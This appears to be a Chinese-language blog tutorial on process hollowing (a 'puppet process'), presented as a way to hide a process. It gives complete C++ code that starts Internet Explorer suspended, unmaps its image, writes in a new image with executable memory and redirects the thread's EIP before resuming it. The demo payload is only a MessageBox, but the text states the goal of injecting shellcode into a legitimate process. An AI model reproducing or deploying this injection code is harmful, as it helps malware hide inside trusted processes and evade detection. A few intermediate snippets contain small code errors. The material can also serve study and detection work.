对于进程隐藏技术有很多种实现方式,本文就对傀儡进程进行分析及实现。
基础知识
挂起方式创建进程
我们知道如果进程创建之后会在内存空间进行拉伸,那么我们如果需要写入shellcode,只能在程序运行之前写入,因为当程序运行起来之后是不能够进行操作的。但是有一个例外,如果我们以挂起模式创建进程,写入shellcode到内存空间,再恢复进程,也能够达到同样的效果。
我们知道创建进程用到CreateProcess
这个函数,首先看下结构
1 2 3 4 5 6 7 8 9 10 11 12
| BOOL CreateProcess( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
|
其中以挂起方式创建进程与两个参数有关,分别是第三个参数和第四个参数
lpProcessAttributes
为CreateProcess
结构中的第三个成员,指向SECURITY_ATTRIBUTES
结构的一个指针,用来设置进程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,进程句柄不能够被子进程继承
1 2 3 4 5
| typedef struct _SECURITY_ATTRIBUTES { DWORD nLength; LPVOID lpSecurityDescriptor; BOOL bInheritHandle; } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
|
lpThreadAttributes
为CreateProcess
结构中的第四个成员,指向SECURITY_ATTRIBUTES
结构的一个指针,用来设置线程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,线程句柄不能够被子进程继承
1 2 3 4 5
| typedef struct _SECURITY_ATTRIBUTES { DWORD nLength; LPVOID lpSecurityDescriptor; BOOL bInheritHandle; } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
|
那么这里验证一下挂起进程之后就不能够对进程进行操作
父进程代码,创建一个ie浏览器的进程并调用CreateProcess
创建子进程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
|
#include "stdafx.h" #include <windows.h>
int main(int argc, char* argv[]) { char szBuffer[256] = {0}; char szHandle[8] = {0}; SECURITY_ATTRIBUTES ie_sa_p; ie_sa_p.nLength = sizeof(ie_sa_p); ie_sa_p.lpSecurityDescriptor = NULL; ie_sa_p.bInheritHandle = TRUE; SECURITY_ATTRIBUTES ie_sa_t; ie_sa_t.nLength = sizeof(ie_sa_t); ie_sa_t.lpSecurityDescriptor = NULL; ie_sa_t.bInheritHandle = TRUE; STARTUPINFO ie_si = {0}; PROCESS_INFORMATION ie_pi; ie_si.cb = sizeof(ie_si); TCHAR szCmdline[] =TEXT("c://program files//internet explorer//iexplore.exe"); CreateProcess( NULL, szCmdline, &ie_sa_p, &ie_sa_t, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &ie_si, &ie_pi); sprintf(szHandle,"%x %x",ie_pi.hProcess,ie_pi.hThread); sprintf(szBuffer,"C:/project/win32 create process4/Debug/win32 create process4.exe %s",szHandle); STARTUPINFO si = {0}; PROCESS_INFORMATION pi; si.cb = sizeof(si); BOOL res = CreateProcess( NULL, szBuffer, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
return 0; }
|
子进程代码如下,这里获取到子进程的句柄之后,使用SuspendThread
挂起进程,等待5s后使用ResumeThread
恢复进程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
|
#include "stdafx.h" #include <windows.h>
int main(int argc, char* argv[]) { DWORD dwProcessHandle = -1; DWORD dwThreadHandle = -1; char szBuffer[256] = {0}; memcpy(szBuffer,argv[1],8); sscanf(szBuffer,"%x",&dwProcessHandle); memset(szBuffer,0,256); memcpy(szBuffer,argv[2],8); sscanf(szBuffer,"%x",&dwThreadHandle); printf("获取IE进程、主线程句柄\n"); Sleep(5000); printf("挂起主线程\n"); ::SuspendThread((HANDLE)dwThreadHandle); Sleep(5000); ::ResumeThread((HANDLE)dwThreadHandle); printf("恢复主线程\n"); Sleep(5000); ::TerminateProcess((HANDLE)dwProcessHandle,1); ::WaitForSingleObject((HANDLE)dwProcessHandle, INFINITE); printf("ID进程已经关闭.....\n"); char szBuffer[256] = {0}; GetCurrentDirectory(256,szBuffer); printf("%s\n",szBuffer);
getchar();
return 0; }
|
这里看下实验效果,可以看到挂起主线程时候,ie浏览器是点不动的,恢复主线程之后又可以正常运行,那么我们尝试使用挂起模式启动一个进程
以挂起模式启动进程,只需要改一个地方,就是CreateProcess
的第六个成员,设置为CREATE_SUSPENDED
(非活动状态)即可,挂起之后使用ResumeThread
恢复执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
|
#include "stdafx.h" #include <windows.h>
int main(int argc, char* argv[]) { STARTUPINFO ie_si = {0}; PROCESS_INFORMATION ie_pi; ie_si.cb = sizeof(ie_si); TCHAR szBuffer[256] = "C:\\Documents and Settings\\Administrator\\桌面\\notepad.exe"; CreateProcess( NULL, szBuffer, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &ie_si, &ie_pi ); ResumeThread(ie_pi.hThread); return 0; }
|
实现效果如下,这里使用挂起模式创建notepad
,可以看到任务管理器里面已经有了这个进程,但是还没有显示出来,使用ResumeThread
恢复执行之后就是一个正常的进程
实现过程
知道了以挂起模式启动进程,我们整理下思路。首先我们以挂起形式创建进程,创建进程过后我们的目的是写入shellcode,那么就要自己申请一块可读可写的区域内存放我们的shellcode,然后再恢复主线程,将函数入口指向我们的shellcode即可,当然这只是一个demo,具体细节还需要具体优化。
这里我使用了一个内核apiZwUnmapViewOfSection
,用来清空之前内存里面的数据
那么首先我们把创建进程这部分写一个单独的函数
使用CREATE_SUSPENDED
挂起创建进程的方式
1
| CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
|
再写一个if语句判断进程创建是否成功,这里我创建的进程还是IE,完整代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| BOOL CreateIEProcess() { wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe"; STARTUPINFO si = { 0 }; si.cb = sizeof(si); BOOL bRet;
x CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
if (bRet) { printf("Create IE successfully!\n\n"); } else { printf("Create IE failed\n\n"); } return bRet; }
|
然后使用内核apiZwUnmapViewOfSection
卸载创建这个基质内存空间的数据,这里先看下ZwUnmapViewOfSection
的结构
1 2 3
| NTSTATUS ZwUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress );
|
这个函数在wdm.h
里面声明,那我们使用ntdll.dll
将这个api加载进来
1
| ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
|
然后使用GetModuleHandleA
获取模块基址
1
| HMODULE hModuleBase = GetModuleHandleA(NULL);
|
使用GetCurModuleSize
获取映像大小
1
| DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
|
每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,线程也就是eip, 这样可以使CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行,所以我们要先获取线程上下文的状态,使用到GetThreadContext
1 2
| Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS; GetThreadContext(pi.hThread, &Thread);
|
下一步我们需要知道程序的基址,这里我用到PEB结构和ReadProcessMemory
来获取,首先看下PEB的结构
1 2 3 4 5 6 7 8 9 10
| root> dt_peb nt!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 BitField : UChar +0x003 ImageUsesLargePages : Pos 0, 1 Bit +0x003 SpareBits : Pos 1, 7 Bits +0x004 Mutant : Ptr32 Void +0x008 ImageBaseAddress : Ptr32 Void
|
ImageBaseAddress
在+0x008这个位置,所以这个地方ReadProcessMemory
的参数就是PEB+8
1 2 3 4 5 6
| DWORD GetRemoteProcessImageBase(DWORD dwPEB) { DWORD dwBaseAddr; ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseAddr, sizeof(DWORD), NULL); return dwBaseAddr; }
|
使用ZwUnmapViewOfSection
来卸载空间数据
1
| ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
|
卸载完空间数据之后,用VirtualAllocEx
重新为我们创建的进程申请一块空间
1
| VirtualAllocEx(pi.hProcess, hModuleBase,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
|
然后使用WriteProcessMemory
写入
1
| WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);
|
在写入完成之后使用GetThreadContext
,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下文
1
| ThreadCxt.ContextFlags = CONTEXT_FULL;
|
然后修改eip指向我们自己的函数地址,这里写一个MessageBox
1 2 3 4 5 6 7 8 9 10 11
| DWORD GetNewOEP() { return (DWORD)MessageBox; }
void MessageBox() { MessageBoxA(0, "Inject successfully", "", 0); }
Threadna.Eip = GetNewOEP();
|
完整代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138
| #include <windows.h> #include <tchar.h> #include <iostream> using namespace std;
typedef long NTSTATUS;
typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)( IN HANDLE ProcessHandle, IN LPVOID BaseAddress ); pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
PROCESS_INFORMATION pi = { 0 };
BOOL CreateEXE() { wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe"; STARTUPINFO si = { 0 }; si.cb = sizeof(si); BOOL bRet;
bRet = CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
if (bRet) { printf("[*] Create process successfully!\n\n"); } else { printf("[!] Create process failed\n\n"); }
return bRet; }
DWORD GetCurModuleSize(DWORD dwModuleBase) { PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase; PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew); return pNtHdr->OptionalHeader.SizeOfImage; }
DWORD GetRemoteProcessImageBase(DWORD dwPEB) { DWORD dwBaseRet; ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL); return dwBaseRet; }
void Mess() { MessageBoxA(0, "Inject successfully", "", 0); }
DWORD GetNewOEP() { return (DWORD)Mess; }
int _tmain(int argc, _TCHAR* argv[]) {
ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection"); printf("[*] ZwUnmapViewOfSection address is : 0x%08X\n\n", ZwUnmapViewOfSection); if (!ZwUnmapViewOfSection) { printf("[!] ZwUnmapViewOfSection failed\n\n"); exit(1); }
if (!CreateEXE()) { printf("[!] Create Process failed\n\n"); exit(1); }
printf("[*] The process PID is : %d\n\n", pi.dwProcessId); HMODULE hModuleBase = GetModuleHandleA(NULL);
DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
CONTEXT Thread;
Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &Thread);
DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);
ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpAllocAddr) { printf("[*] VirtualAllocEx successfully!\n\n"); } else { printf("[!] VirtualAllocEx failed\n\n"); return FALSE; }
if (NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL)) { printf("[!] WriteProcessMemory failed\n\n"); return FALSE; } else { printf("[*] WriteProcessMemory successfully!\n\n"); }
Thread.ContextFlags = CONTEXT_FULL; Thread.Eip = GetNewOEP();
SetThreadContext(pi.hThread, &Thread);
if (-1 == ResumeThread(pi.hThread)) { printf("[!] ResumeThread failed\n\n"); return FALSE; } else { printf("[*] ResumeThread successfully!\n\n"); }
}
|
实现效果
到这我们的函数就已经成功了,运行一下弹出了messagebox,证明修改eip成功